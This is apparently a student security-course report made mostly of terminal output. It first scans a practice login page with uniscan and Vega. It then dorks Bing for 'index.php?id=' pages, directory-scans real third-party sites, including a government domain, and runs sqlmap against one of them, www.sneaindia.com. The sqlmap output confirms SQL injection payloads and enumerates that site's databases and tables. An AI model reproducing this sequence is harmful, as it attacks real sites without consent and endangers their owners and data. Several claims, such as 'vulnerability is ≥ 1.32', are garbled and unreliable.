

# VerzeoMinorProject

MadebyBhaveshMohinani

Q1.) Find out the vulnerability of  
<https://lab.hackerinside.xyz/login.php>?

Ans 1.) For testing the vulnerability of the given URL, I have used  
uniscan for it. The vulnerability of  
<https://lab.hackerinside.xyz/login.php> is  $\geq 1.32$ .

```
gaurav@kali: ~  
  
root@kali:/home/gaurav# uniscan -u https://lab.hackerinside.xyz/login.php  
#####  
# Uniscan project #  
# http://uniscan.sourceforge.net/ #  
#####  
V. 6.3  
  
Scan date: 25-5-2020 20:7:57  
=====
```

Domain: https://lab.hackerinside.xyz/login.php/
Server: Apache/2.4.38 (Debian)
IP: 34.72.90.23

```
=====
```

Scan end date: 25-5-2020 20:8:11

HTML report saved in: report/lab.hackerinside.xyz.html

```
root@kali:/home/gaurav# uniscan -u https://lab.hackerinside.xyz/login.php -qweds  
#####  
# Uniscan project #  
# http://uniscan.sourceforge.net/ #  
#####  
V. 6.3  
  
Scan date: 25-5-2020 20:8:29  
=====
```

Domain: https://lab.hackerinside.xyz/login.php/
Server: Apache/2.4.38 (Debian)
IP: 34.72.90.23

```
=====
```

Directory check:  
Skipped because https://lab.hackerinside.xyz/login.php/uniscan174/ did not return the code 404

```
=====
```

File check:  
Skipped because https://lab.hackerinside.xyz/login.php/uniscan927/ did not return the code 404

gaurav@kali: ~

```
root@kali:/home/gaurav# uniscan -u https://lab.hackerinside.xyz/login.php -qweds
#####
# Uniscan project                               #
# http://uniscan.sourceforge.net/              #
#####
V. 6.3
```

Scan date: 25-5-2020 22:37:16

```
=====
| Domain: https://lab.hackerinside.xyz/login.php/
| Server: Apache/2.4.38 (Debian)
| IP: 34.72.90.23
|=====
```

```
=====
| Directory check:
| Skipped because https://lab.hackerinside.xyz/login.php/uniscan508/ did not return the code 404
|=====
```

```
=====
| File check:
| Skipped because https://lab.hackerinside.xyz/login.php/uniscan878/ did not return the code 404
|=====
```

```
=====
| Check robots.txt:
|=====
```

```
=====
| Check sitemap.xml:
|=====
```

```
=====
| Crawler Started:
| Plugin name: Timthumb ≤ 1.32 vulnerability v.1 Loaded.
| Plugin name: External Host Detect v.1.2 Loaded.
| Plugin name: Code Disclosure v.1.1 Loaded.
| Plugin name: Upload Form Detect v.1.1 Loaded.
| Plugin name: E-mail Detection v.1.1 Loaded.
| Plugin name: Web Backdoor Disclosure v.1.1 Loaded.
| Plugin name: FCKeditor upload test v.1 Loaded.
| Plugin name: phpinfo() Disclosure v.1 Loaded.
|=====
```

| [+] Crawling finished, 0 URL's found!

gaurav@kali: ~

[+] Crawling finished, 0 URL's found!

Timthumb:

External hosts:

Source Code Disclosure:

File Upload Forms:

E-mails:

Web Backdoors:

FCKeditor File Upload:

PHPinfo() Disclosure:

Ignored Files:

```
=====
| Dynamic tests:
| Plugin name: Learning New Directories v.1.2 Loaded.
| Plugin name: FCKeditor tests v.1.1 Loaded.
| Plugin name: Timthumb ≤ 1.32 vulnerability v.1 Loaded.
| Plugin name: Find Backup Files v.1.2 Loaded.
| Plugin name: Blind SQL-injection tests v.1.3 Loaded.
| Plugin name: Local File Include tests v.1.1 Loaded.
| Plugin name: PHP CGI Argument Injection v.1.1 Loaded.
| Plugin name: Remote Command Execution tests v.1.1 Loaded.
| Plugin name: Remote File Include tests v.1.2 Loaded.
| Plugin name: SQL-injection tests v.1.2 Loaded.
| Plugin name: Cross-Site Scripting tests v.1.2 Loaded.
| Plugin name: Web Shell Finder v.1.3 Loaded.
| [+] 0 New directories added
|=====
```

```
=====
| FCKeditor tests:
| Skipped because /testing123 did not return the code 404
|=====
```

Backup Files:  
 Skipped because /testing123 did not return the code 404

Blind SQL Injection:

Local File Include:

PHP CGI Argument Injection:

Remote Command Execution:

Remote File Include:

SQL Injection:

Cross-Site Scripting (XSS):

Web Shell Finder:

```
=====
Static tests:
Plugin name: Local File Include tests v.1.1 Loaded.
Plugin name: Remote Command Execution tests v.1.1 Loaded.
Plugin name: Remote File Include tests v.1.1 Loaded.
```

Local File Include:

Remote Command Execution:

Remote File Include:

```
=====
Scan end date: 25-5-2020 22:47:10
```

```
root@kali:/home/gaurav# uniscan -i "inurl: index.php?id="
#####
# Uniscan project #
# http://uniscan.sourceforge.net/ #
#####
V. 6.3
```

```
=====
Bing:
[+] Bing search for: inurl: index.php?id=
[+] Bing returns 10 sites.
[+] Bing search finished.
Site list saved in file sites.txt
root@kali:/home/gaurav# uniscan -f sites.txt -q
#####
# Uniscan project #
# http://uniscan.sourceforge.net/ #
#####
V. 6.3
```

Scan date: 25-5-2020 22:51:14

```
=====
Domain: http://nuelacoid.com/
IP: 207.148.122.114
=====
```

```
Directory check:
Skipped because http://nuelacoid.com/uniscan380/ did not return the code 404
=====
```

Scan end date: 25-5-2020 22:52:15

```
=====
HTML report saved in: report/nuelacoid.com.html
Scan date: 25-5-2020 22:52:15
=====
```

```
Domain: http://www.na.gov.pk/
```



HTML report saved in: report/www.na.gov.pk.html  
 Scan date: 25-5-2020 22:53:8

=====

| Domain: http://https:/  
 Use of uninitialized value in unpack at /usr/share/uniscan/Uniscan/Functions.pm line 62.  
 | IP:  
 Use of uninitialized value in unpack at /usr/share/uniscan/Uniscan/Functions.pm line 62.

=====

#### Directory check:

Skipped because http://https:/uniscan925/ did not return the code 404

=====

Scan end date: 25-5-2020 22:54:13

HTML report saved in: report/https:.html  
 Scan date: 25-5-2020 22:54:13

=====

| Domain: http://breakthesecurity.cysecurity.org/  
 Server: Apache  
 IP: 192.252.144.63

=====

#### Directory check:

[+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/Help/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/acc/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/access/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/ad/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/advance/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/adv/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/advanced/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/alternative/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/auto/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/aut/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/back/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/banner/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/best/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/bind/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/bin/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/break/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/browse/

[+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/break/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/browse/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/br/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/ca/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/bypass/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/cal/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/call/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/cert/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/chan/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/chat/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/check/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/command/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/common/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/cookie/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/cookies/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/crash/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/create/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/cve/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/dat/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/de/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/del/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/delete/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/di/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/disable/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/dom/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/down/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/download/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/embed/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/en/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/erro/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/err/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/error/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/erp/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/et/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/explorer/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/explore/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/facebook/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/fake/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/feed/  
 [+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/fb/







```
[+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/window/
[+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/wonderful/
[+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/write/
[+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/xd/
[+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/your/
[+] CODE: 200 URL: http://breakthesecurity.cysecurity.org/~apache/
```

=====

Scan end date: 25-5-2020 23:1:18

HTML report saved in: report/breakthesecurity.cysecurity.org.html

Scan date: 25-5-2020 23:1:18

=====

Domain: http://www.icdcprague.org/  
Server: Apache/2.2.22 (Debian)  
IP: 217.198.122.48

Directory check:

```
[+] CODE: 200 URL: http://www.icdcprague.org/icons/
[+] CODE: 200 URL: http://www.icdcprague.org/stats/
```

=====

Scan end date: 25-5-2020 23:5:36

HTML report saved in: report/www.icdcprague.org.html

Scan date: 25-5-2020 23:5:36

=====

Domain: http://ecqa.org/  
Server: Apache/2.2.29 (Linux/SUSE)  
IP: 213.47.211.195

Directory check:

```
[+] CODE: 200 URL: http://ecqa.org/browse/
[+] CODE: 200 URL: http://ecqa.org/community/
[+] CODE: 200 URL: http://ecqa.org/icons/
[+] CODE: 200 URL: http://ecqa.org/mobile/
[+] CODE: 200 URL: http://ecqa.org/uploads/
```

```
[+] CODE: 200 URL: http://ecqa.org/uploads/
```

=====

Scan end date: 25-5-2020 23:10:35

HTML report saved in: report/ecqa.org.html

Scan date: 25-5-2020 23:10:35

=====

Domain: http://romanianwriters.ro/  
Server: Apache/2.4.7 (Ubuntu)  
IP: 46.102.232.178

Directory check:

```
[+] CODE: 200 URL: http://romanianwriters.ro/admin/
[+] CODE: 200 URL: http://romanianwriters.ro/cgi-bin/
[+] CODE: 200 URL: http://romanianwriters.ro/design/
[+] CODE: 200 URL: http://romanianwriters.ro/font/
[+] CODE: 200 URL: http://romanianwriters.ro/imagini/
[+] CODE: 200 URL: http://romanianwriters.ro/pdfs/
[+] CODE: 200 URL: http://romanianwriters.ro/phpmyadmin/
```

=====

Scan end date: 25-5-2020 23:16:56

HTML report saved in: report/romanianwriters.ro.html

Scan date: 25-5-2020 23:16:56

=====

Domain: http://testphp.vulnweb.com/  
Server: nginx/1.4.1  
IP: 176.28.50.165

Directory check:

```
[+] CODE: 200 URL: http://testphp.vulnweb.com/Flash/
[+] CODE: 200 URL: http://testphp.vulnweb.com/admin/
[+] CODE: 200 URL: http://testphp.vulnweb.com/images/
```

```
[+] CODE: 200 URL: http://testphp.vulnweb.com/pictures/
[+] CODE: 200 URL: http://testphp.vulnweb.com/secured/
```

```
=====
Scan end date: 25-5-2020 23:20:45
```

#### PHPMailer Distances:

```
HTML report saved in: report/testphp.vulnweb.com.html
```

```
Scan date: 25-5-2020 23:20:45
```

```
=====
| Domain: http://sneaindia.com/
Use of uninitialized value in unpack at /usr/share/uniscan/Uniscan/Functions.pm line 62.
| IP:
Use of uninitialized value in unpack at /usr/share/uniscan/Uniscan/Functions.pm line 62.
=====
```

#### Static Tests:

```
Directory check:
Skipped because http://sneaindia.com/uniscan204/ did not return the code 404
```

```
=====
Scan end date: 25-5-2020 23:20:45
```

#### PHP CGI Argument Injection:

##### Remote Command Execution:

```
HTML report saved in: report/sneaindia.com.html
```

```
Scan date: 25-5-2020 23:20:45
```

```
=====
| Domain: http://www.sneaindia.com/
Use of uninitialized value in unpack at /usr/share/uniscan/Uniscan/Functions.pm line 62.
| IP:
Use of uninitialized value in unpack at /usr/share/uniscan/Uniscan/Functions.pm line 62.
=====
```

#### Static Tests:

```
Directory check:
Skipped because http://www.sneaindia.com/uniscan412/ did not return the code 404
```

```
=====
Scan end date: 25-5-2020 23:20:45
```

#### SCAN TIME

```
HTML report saved in: report/www.sneaindia.com.html
```

# UniscanReport:-



## SCAN TIME

Scan Started: 25/5/2020 22:37:16

## TARGET

Domain <https://lab.hackerinside.xyz/login.php/>

Server Banner: Apache/2.4.38 (Debian)

Target IP: 34.72.90.23

## CRAWLING

### Directory check:

Skipped because <https://lab.hackerinside.xyz/login.php/uniscan508/> did not return the code 404

### File check:

Skipped because <https://lab.hackerinside.xyz/login.php/uniscan878/> did not return the code 404

### Check robots.txt:

### Check sitemap.xml:

Crawling finished, found: 0 URL's

### Timthumb:

### External hosts:

### Source Code Disclosure:

### File Upload Forms:

### Source Code Disclosure:

### File Upload Forms:

### E-mails:

### Web Backdoors:

### FCKeditor File Upload:

### PHPinfo() Disclosure:

### Ignored Files:

## DYNAMIC TESTS

Learning New Directories: 0 New directories added.

### FCKeditor tests:

Skipped because [/testing123](#) did not return the code 404

Timthumb < 1.33 vulnerability:

### Backup Files:

Skipped because [/testing123](#) did not return the code 404

### Blind SQL Injection:

### Local File Include:

### PHP CGI Argument Injection:

### Remote Command Execution:

### Remote File Include:

### SQL Injection:

### Cross-Site Scripting (XSS):

### Web Shell Finder:



**PHPinfo() Disclosure:**

**Ignored Files:**

#### **DYNAMIC TESTS**

**Learning New Directories:** 0 New directories added.

**FKEditor tests:**

Skipped because /testing123 did not return the code 404

**Timthumb < 1.33 vulnerability:**

**Backup Files:**

Skipped because /testing123 did not return the code 404

**Blind SQL Injection:**

**Local File Include:**

**PHP CGI Argument Injection:**

**Remote Command Execution:**

**Remote File Include:**

**SQL Injection:**

**Cross-Site Scripting (XSS):**

**Web Shell Finder:**

#### **STATIC TESTS**

**Local File Include:**

**Remote Command Execution:**

**Remote File Include:**

#### **SCAN TIME**

**Scan Finished:** 25/5/2020 22:47:10

*There are 10 inurl present in the given URL site. They are:-*

- 1.) <http://nuelacoid.com/>
- 2.) <http://www.na.gov.pk/>
- 3.) <http://https://>
- 4.) <http://breakthesecurity.cysecurity.org/>
- 5.) <http://www.icdcprague.org/>
- 6.) <http://ecqa.org/>

- 7.) <http://romanianwriters.ro/>
- 8.) <http://testphp.vulnweb.com/>
- 9.) <http://sneaindia.com/>
- 10.) <http://www.sneaindia.com/>

Q2.) Check out the vulnerability of <https://lab.hackerinside.xyz/login.php>?

Ans2.) For checking the vulnerability of the given URL, I have used Vega tool for it. We can see that <https://lab.hackerinside.xyz/login.php> has 5 major and 1 low level exploitation vulnerability.

The 5 major exploitation vulnerabilities are:-

1.) Cross Site Scripting

The screenshot displays the Vega Open Source Web Security Platform interface. The main window shows a report for a Cross Site Scripting (CSC) vulnerability. The left sidebar contains a 'Website View' pane with a list of scanned files: lab.hackerinside.xyz, login.php, htmlstyles.css, fortawesome.github.io, and madewithlove.now.sh. Below this is a 'Scan Alerts' pane showing a completed scan on 05/26/2020 at 00:28:02, with 6 alerts found, including 5 High severity alerts. The main content area is titled 'Cross Site Scripting' and includes an 'AT A GLANCE' summary table.

Classification	Input Validation Error
Resource	/login.php
Parameter	uid
Method	POST
Risk	High

Below the summary table, the 'REQUEST' section shows the following payload:

```
POST /login.php [uid=1' -->'>' password=vega ]
```



## 2.)MySQLErrorDetected–PossibleSQLInjection

The screenshot displays the Subgraph Vega web security platform interface. The main window shows a scan result for a MySQL error detected, which is a possible SQL injection vulnerability. The interface includes a menu bar (File, Scan, Window, Help) and a toolbar with buttons for Scanner and Proxy. The left sidebar shows a list of websites being scanned, including lab.hackerinside.xyz, login.php, and styles.css. The main content area displays the scan results for the MySQL error detected, including a table with classification details (Resource, Parameter, Method, Risk) and a detailed error message. The error message indicates a possible SQL injection vulnerability in the login.php file, specifically in the uid parameter, with a high risk level. The interface also shows a list of scan alerts on the left, including a high-risk alert for Cross Site Scripting (login.php) and a low-risk alert for Session Cookie Without HttpOnly Flag. The bottom status bar indicates that the proxy is not running and shows the scan progress (33M of 347M).

Subgraph Vega

File Scan Window Help

Scanner Proxy

Website View

lab.hackerinside.xyz

login.php

styles.css

fortawesome.github.io

made-with-love.now.sh

Scan Alerts

05/26/2020 00:28:02 [Completed] (6)

https://lab.hackerinside.xyz (6)

High (5)

- Cross Site Scripting (/login.php)
- MySQL Error Detected - Possible SQL Injection
- Session Cookie Without HttpOnly Flag
- Session Cookie Without Secure Flag
- SQL Injection (https://lab.hackerinside.xyz)

Low

05/26/2020 00:20:33 [Completed] (6)

VEGA Open Source Web Security Platform

### MySQL Error Detected - Possible SQL Injection

AT A GLANCE

Classification	Error Message
Resource	/login.php
Parameter	uid
Method	POST
Risk	High

REQUEST

POST /login.php [uid=1' -->'>' password=vega ]

DISCUSSION

Vega has detected a SQL error string known to be output by MySQL. This can indicate a possible SQL injection vulnerability. These vulnerabilities are present when externally-supplied input is used to construct a SQL query. If precautions are not taken, the externally-supplied input (usually a GET or POST parameter) can modify the query string such that it performs unintended actions. These actions include gaining unauthorized read or write access to the data stored in the database, as well as modifying the logic of the application.

IMPACT

Vega has detected known error output from a MySQL database engine.

Proxy is not running

33M of 347M

### 3.) Session Cookie without HttpOnly Flag

The screenshot displays the Subgraph Vega interface. On the left, the 'Scan Alerts' panel shows a list of alerts, with 'Session Cookie Without HttpOnly Flag' selected. The main panel shows the details of this alert. The title is 'Session Cookie Without HttpOnly Flag'. Under 'AT A GLANCE', the 'Classification' is 'Information', the 'Resource' is '/login.php', and the 'Risk' is 'High'. The 'REQUEST' section shows 'GET /login.php'. The 'RESOURCE CONTENT' section shows 'PHPSESSID=t4htbh2movlk1j0l73fbs3s9og; path=/'. The 'DISCUSSION' section explains that Vega has detected a session cookie may have been set without the HttpOnly flag, which is a security measure to mitigate cross-site scripting attacks. The status bar at the bottom indicates 'Proxy is not running' and '34M of 347M'.

### 4.) Session Cookie Without Secure Flag

The screenshot displays the Subgraph Vega interface. On the left, the 'Scan Alerts' panel shows a list of alerts, with 'Session Cookie Without Secure Flag' selected. The main panel shows the details of this alert. The title is 'Session Cookie Without Secure Flag'. Under 'AT A GLANCE', the 'Classification' is 'Information', the 'Resource' is '/login.php', and the 'Risk' is 'High'. The 'REQUEST' section shows 'GET /login.php'. The 'RESOURCE CONTENT' section shows 'PHPSESSID=t4htbh2movlk1j0l73fbs3s9og; path=/'. The 'DISCUSSION' section explains that Vega has detected a known session cookie may have been set without the secure flag. The status bar at the bottom indicates 'Proxy is not running' and '35M of 347M'.



## 5.) SQLInjection(<https://lab.hackerinside.xyz/login.php>)

The screenshot displays the Subgraph Vega web security scanner interface. The main window shows a detailed report for an SQL Injection vulnerability found on the login page of [lab.hackerinside.xyz](https://lab.hackerinside.xyz).

**SQL Injection**

**AT A GLANCE**

Classification	Input Validation Error
Resource	<a href="https://lab.hackerinside.xyz/login.php">https://lab.hackerinside.xyz/login.php</a>
Parameter	uid
Method	POST
Detection Type	Blind Arithmetic Evaluation Differential
Risk	High

**REQUEST**

POST /login.php [uid=1" password=vega ]

**RESOURCE CONTENT**

```
<html lang="en">
<head>
  <link href="css/htmlstyles.css" rel="stylesheet">
  <link rel="stylesheet" href="https://fortawesome.github.io/Font-Awesome/assets/font-awesome/css/font-awesome.min.css">
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <title>Login Page</title>
</head>
<body>
  <center>
    <section class="header">
```

**Scan Alerts**

- 05/26/2020 00:28:02 [Completed] (6)
- https://lab.hackerinside.xyz (6)
- High (5)
  - Cross Site Scripting (/login.php)
  - MySQL Error Detected - Possible SQL Injection
  - Session Cookie Without HttpOnly Flag
  - Session Cookie Without Secure Flag
  - SQL Injection (<https://lab.hackerinside.xyz/login.php>)
- Low
- 05/26/2020 00:20:33 [Completed] (6)

Proxy is not running 36M of 347M

*TheMinorexplotationvulnerabilityis:-*

### *1.)FormPasswordFieldWithAutocompleteEnabled*

The screenshot shows the Subgraph Vega application interface. On the left, the 'Scan Alerts' panel lists several findings, with 'Form Password Field with Autocomplete Enabled' highlighted. The main panel displays the details for this finding:

- AT A GLANCE**
  - Classification: Resource Risk
  - Environment: /login.php
  - Risk: Low
- REQUEST**
  - GET /login.php
- DISCUSSION**

Vega detected a form that included a password input field. The autocomplete attribute was not set to off. This may result in some browsers storing values input by users locally, where they may be retrieved by third parties.
- IMPACT**
  - A password value may be stored on the local filesystem of the client.
  - Locally stored passwords could be retrieved by other users or malicious code.
- REMEDIATION**
  - The form declaration should have an autocomplete attribute with its value set to "off".

At the bottom right, it indicates 'Proxy is not running' and '37M of 347M'.

*RequestReportResponse:-*

The screenshot shows the 'Requests' panel in Subgraph Vega, displaying the HTML source code of a login form. The code is as follows:

```
<div class="text-align">
  <div class="loginheader">
    <h1>Login Panel</h1>

    <form method="POST" autocomplete="off">
      <p style="color:white">
        Username: <input type="text" id="uid" placeholder="username" name="uid"><br /></br />
        Password: <input type="password" id="pass" placeholder="Password" name="password">
      </p>
      <br />
      <p>
        <input type="submit" value="Submit"/>
        <input type="reset" value="Reset"/>
      </p>
    </div>
  </div>
```

On the right side of the panel, it indicates '5 found)'.



## Vegaexploitationvulnerabilityreport:-

The screenshot displays the Subgraph Vega web application security scanner interface. The main window shows a "Scan Alert Summary" for a completed scan on 05/26/2020 at 00:28:02. The summary lists five high-severity alerts: Session Cookie Without Secure Flag, Session Cookie Without HttpOnly Flag, Cross Site Scripting, MySQL Error Detected - Possible SQL Injection, and SQL Injection. There are no medium-severity alerts found, one low-severity alert (Form Password Field with Autocomplete Enabled), and no information-level alerts.

Subgraph Vega

File Scan Window Help

Scanner Proxy

Website View Scan Info

lab.hackerinside.xyz  
login.php  
htmlstyles.css  
fortawesome.github.io  
madewithlove.now.sh

Scan Alerts

05/26/2020 00:28:02 [Completed] (6)  
05/26/2020 00:20:33 [Completed] (6)

### Scan Alert Summary

Severity	Alert	Count
High	Session Cookie Without Secure Flag	1
	Session Cookie Without HttpOnly Flag	1
	Cross Site Scripting	1
	MySQL Error Detected - Possible SQL Injection	1
	SQL Injection	1
Medium	(None found)	
Low	Form Password Field with Autocomplete Enabled	1
Info	(None found)	

Ans3.) For grabbing the flag I have used sqlmap, and taken <https://www.sneaindia.com/index.php?id=1> as it was present in the above the URL of <https://lab.hackerinside.xyz/login.php/>.



Subgraph Vega

File Scan Window Help

Scanner Proxy

Requests

ID	Host	Method	Request	Status	Length	Time
0	https://lab.hacker	GET	/login.php/	200	2477	287
1	https://lab.hacker	GET	/login.php/css/	200	2477	309
2	https://lab.hacker	GET	/login.php/css/htmlstyles.css	200	2477	310

Request Response

```
<body>
<div class="header">
<div class="mask">
<div class="test-alert">
<div class="login-header">
<div class="login-panel">
<form method="POST" autocomplete="off">
<p style="text-align: center;">
Username: <input type="text" id="username" placeholder="username" name="uid"> <br />
Password: <input type="password" id="password" placeholder="password" name="password">
</p>
</div>
</div>
```

Shell No.1

File Actions Edit View Help

```
root@kali:~# sqlmap -u http://www.sneaindia.com/index.php?id=1 --db
```



{1.4.10stable}

http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[\*] starting @ 00:18:56 /2020-05-27/

```
[00:18:57] [INFO] testing connection to the target URL
[00:18:58] [INFO] checking if the target is protected by some kind of WAF/IPS
[00:19:00] [INFO] testing if the target URL content is stable
[00:19:01] [INFO] target URL content is stable
[00:19:01] [INFO] testing if GET parameter 'id' is dynamic
[00:19:02] [WARNING] GET parameter 'id' does not appear to be dynamic
[00:19:04] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[00:19:05] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[00:19:06] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[00:19:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:19:34] [WARNING] reflective value(s) found and filtering out
[00:19:37] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Select the Month and Year")
[00:19:37] [INFO] testing 'Generic inline queries'
```



```
Shell No.1
File Actions Edit View Help

[00:20:05] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. '--dbms=mysql')
[00:20:10] [INFO] target URL appears to be UNION injectable with 1 columns
[00:20:13] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[00:20:23] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'

[00:20:29] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[00:20:35] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[00:20:41] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[00:20:47] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[00:20:53] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[00:21:08] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[00:21:15] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[00:21:22] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 276 HTTP(s) requests:
--
Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: id=1 AND 6219=6219

  Type: error-based
  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: id=1 AND (SELECT 9784 FROM(SELECT COUNT(*),CONCAT(0x7176787071,(SELECT (ELT(9784=9784,1))),0x71626b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGI
NS GROUP BY x)a)

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=1 AND (SELECT 8744 FROM (SELECT(SLEEP(5)))t0Gi)
--
[00:21:32] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[00:21:34] [INFO] fetching database names
[00:21:35] [INFO] retrieved: 'information_schema'
[00:21:35] [INFO] retrieved: 'sneaindia'
available databases [2]:
[*] information_schema
[*] sneaindia

[00:21:35] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.sneaindia.com'
```

```
Shell No.1
File Actions Edit View Help

root@kali:~# sqlmap -u http://www.sneaindia.com/index.php?id=1 -D information_schema --tables

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:22:20 /2020-05-27/

[00:22:20] [INFO] resuming back-end DBMS 'mysql'
[00:22:20] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 6219=6219

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 9784 FROM(SELECT COUNT(*),CONCAT(0x7176787071,(SELECT (ELT(9784=9784,1)))0x71626b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 8744 FROM (SELECT(SLEEP(5)))tOGi)

[00:22:22] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[00:22:22] [INFO] fetching tables for database: 'information_schema'
[00:22:25] [INFO] retrieved: 'CHARACTER_SETS'
[00:22:26] [INFO] retrieved: 'CLIENT_STATISTICS'
[00:22:28] [INFO] retrieved: 'COLLATIONS'
[00:22:29] [INFO] retrieved: 'COLLATION_CHARACTER_SET_APPLICABILITY'
[00:22:30] [INFO] retrieved: 'COLUMNS'
[00:22:32] [INFO] retrieved: 'COLUMN_PRIVILEGES'
```

```
Shell No.1
File Actions Edit View Help

Payload: id=1 AND (SELECT 8744 FROM (SELECT(SLEEP(5)))tOGi)

